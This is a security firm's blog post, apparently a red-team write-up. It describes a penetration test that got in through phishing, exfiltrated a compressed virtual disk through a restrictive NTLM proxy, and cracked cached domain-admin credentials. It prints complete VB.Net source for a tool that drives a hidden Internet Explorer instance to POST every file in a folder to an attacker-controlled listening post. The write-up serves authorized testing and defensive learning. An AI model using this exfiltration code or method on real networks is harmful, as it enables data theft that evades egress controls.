At Silent Break Security, our focus is to provide realistic, custom assessments modeled after real threats our clients are facing. After all, the best way to improve is to practice perfectly, or as close to perfectly as possible. In this case, that would be modeling assessments after actual threats. Typically, this requires us to create custom implants and backdoors, think outside the box, and a LOT of persistence. On a recent blackbox penetration test, we gained access to the internal network through a social engineering email. A stealthy, custom beaconing backdoor was installed on the users box and we had limited internal network access…as a user. We had done several penetration tests for the client before so their internal security had improved significantly. No exploitable services, no weak file permissions, no old vulnerabilities, and no easy way to escalate privileges. On top of that, the internal network had become locked down with tight egress rules, ACLs, blocked EXE file downloads, and NTLM proxy authentication every 30 minutes. Doing recon on the internal network provided little hope…until we found an open file share with a 22 GB VHD file. For those not familiar, a VHD file is a virtual hard disk file format created by Microsoft. Windows 7 and 8 come with a command line utility called diskpart that will allow you to mount a VHD file and assign it a drive letter. The only caveat is you need administrative privileges to mount the VHD file. So…it wouldn’t be possible to mount the file on target due to the user’s privilege restriction, but maybe we could exfil the VHD file, mount it locally, and extract the local and domain cached credential hashes. Let’s see where that leads.
The first problem was exfiltrating a 22 GB VHD file. What are our options? Straight-up TCP egress connection? Blocked by the firewall. Bitsadmin? Blocked at the proxy. HTTP PUTs? Also blocked at the proxy. HTTP POSTs were not being blocked by the proxy, but are definitely not ideal for a file transfer this large. After uploading 7z.exe, the 22 GB VHD file was compressed and split into nearly 900 files, each one about a 10 MB chunk, totaling nearly 9 GB of data to be exfilled. The next task was to build out the infrastructure for the upload. This involved several steps. First, we had to build out a LAMP server with a PHP script to accept the upload. The screenshot below illustrates what we came up with…a basic PHP file upload script. Don’t forget to increase the “upload_max_filesize” option in php.ini to at least 10M. We used 15M just to be safe.
The next step was to build an application to repeatedly POST each file to the web server. This proved more difficult than it sounded. Looking into PowerShell, C++, and VB.Net, we decided to use VB.Net for it’s ease of use and customization available. The proxy required NTLM authentication every 30 minutes. So any process could connect to the internet…for 30 minutes…and often less…much less. After about 30 minutes the proxy would require reauthentication. Apparently Internet Explorer has this “reauth” functionality built into it, but every custom application we tried in PowerShell or VB.Net would not work consistently. Thankfully, VB.Net has the capability to start a hidden IE process and interact with it in the background, GETting web pages and POSTing content. The WebBrowser library is exactly what we were looking for.
Dim WebBrowser : WebBrowser = CreateObject("InternetExplorer.Application")
When completed, we had a simple command-line app that kicked off a hidden IE process and began exfilling all the files in a given directory via standard HTTP POST requests to our LP/web server. The best part was that file was only 5 KB in size…much smaller than any Python byte-compiled executable. You can find the source code below. In the end, all 9 GBs were exfiltrated. The VHD file was extracted and mounted using diskpart. Unfortunately, the local administrator hash didn’t match any other workstation on the internal network so pass-the-hash didn’t work out. However, one of the stored domain cached credentials account was a domain service account and a member of the “Domain Admins” group. After throwing the GPUs at it for a day or so the MSCash2 hash was cracked and the rest is history.
Module Module1
Sub UploadFile(ByVal DestURL As String, ByVal FileName As String, _
Optional ByVal FieldName As String = "File")
Dim sFormData As String, d As String
Const Boundary As String = "---------------------------0123456789012"
'GET FILE CONTENTS
sFormData = GetFile(FileName)
'BUILD POST FORM
d = "--" + Boundary + vbCrLf
d = d + "Content-Disposition: form-data; name=""" + FieldName + """;"
d = d + " filename=""" + FileName + """" + vbCrLf
d = d + "Content-Type: application/upload" + vbCrLf + vbCrLf
d = d + sFormData
d = d + vbCrLf + "--" + Boundary + "--" + vbCrLf
IEPostStringRequest(DestURL, d, Boundary)
End Sub
Sub IEPostStringRequest(ByVal URL As String, ByVal FormData As String, ByVal Boundary As String)
'CREATE IE INSTANCE
Dim WebBrowser : WebBrowser = CreateObject("InternetExplorer.Application")
'UNCOMMENT TO MAKE IE VISIBLE
'WebBrowser.Visible = True
'SEND FORM DATA TO URL AS A POST
Dim bFormData() As Byte
ReDim bFormData(Len(FormData) - 1)
bFormData = System.Text.Encoding.GetEncoding(1252).GetBytes(FormData)
WebBrowser.Navigate(URL, , , bFormData, _
"Content-Type: multipart/form-data; boundary=" + Boundary + vbCrLf)
Do While WebBrowser.busy
Threading.Thread.Sleep(500)
Loop
WebBrowser.Quit()
End Sub
Function GetFile(ByVal FileName As String) As String
Dim FileContents() As Byte, FileNumber As Integer
ReDim FileContents(FileLen(FileName) - 1)
FileNumber = FreeFile()
FileContents = IO.File.ReadAllBytes(FileName)
GetFile = System.Text.Encoding.GetEncoding(1252).GetString(FileContents)
End Function
Sub Main()
If Environment.GetCommandLineArgs.Count 2 Then
System.Console.WriteLine("Done!")
Return
End If
Dim root As String = Environment.GetCommandLineArgs(1)
If Not root.EndsWith("\") Then
System.Console.WriteLine("Done!")
Return
End If
Dim di As New IO.DirectoryInfo(root)
Dim diar1 As IO.FileInfo() = di.GetFiles()
Dim dra As IO.FileInfo
'REPEAT FILE UPLOAD FOR ALL FILES IN THE GIVEN DIRECTORY
For Each dra In diar1
'System.Console.WriteLine(dra.FullName)
UploadFile("https://our-secret-lp.com/u.php", dra.FullName, "file")
Next
End Sub
End Module
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
Name
Domain
Purpose
Expiry
Type
YSC
youtube.com
YouTube session cookie.
52 years
HTTP
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Name
Domain
Purpose
Expiry
Type
VISITOR_INFO1_LIVE
youtube.com
YouTube cookie.
6 months
HTTP
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
We do not use cookies of this type.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
We do not use cookies of this type.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
We do not use cookies of this type.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Cookie Settings
Discover why security operations teams choose NetSPI.